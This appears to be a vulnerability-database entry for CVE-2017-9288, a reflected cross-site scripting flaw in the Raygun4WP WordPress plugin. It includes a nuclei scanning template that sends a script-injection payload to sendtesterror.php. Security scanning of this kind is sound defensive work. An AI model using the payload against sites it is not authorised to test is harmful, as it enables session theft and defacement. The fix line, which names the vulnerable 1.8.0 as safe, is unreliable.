WordPress Raygun4WP <=1.8.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

WordPress Raygun4WP 1.8.0 contains a reflected cross-site scripting vulnerability via sendtesterror.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress Raygun4WP plugin (1.8.0 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/raygun4wp/readme.txt
Positive when: contains "Raygun4WP" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/raygun4wp/sendtesterror.php?backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-9288 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-9288

info:
  name: WordPress Raygun4WP <=1.8.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Raygun4WP 1.8.0 contains a reflected cross-site scripting vulnerability via sendtesterror.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Raygun4WP plugin (1.8.0 or higher) to mitigate this vulnerability.
  reference:
    - https://github.com/MindscapeHQ/raygun4wordpress/pull/17
    - https://github.com/MindscapeHQ/raygun4wordpress/issues/16
    - http://jgj212.blogspot.kr/2017/05/a-reflected-xss-vulnerability-in.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9288
    - https://wpvulndb.com/vulnerabilities/8836
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-9288
    cwe-id: CWE-79
    epss-score: 0.04018
    epss-percentile: 0.90659
    cpe: cpe:2.3:a:raygun:raygun4wp:1.8.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: raygun
    product: raygun4wp
    framework: wordpress
  tags: cve2017,cve,wordpress,xss,wp-plugin,raygun,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/raygun4wp/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Raygun4WP'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/raygun4wp/sendtesterror.php?backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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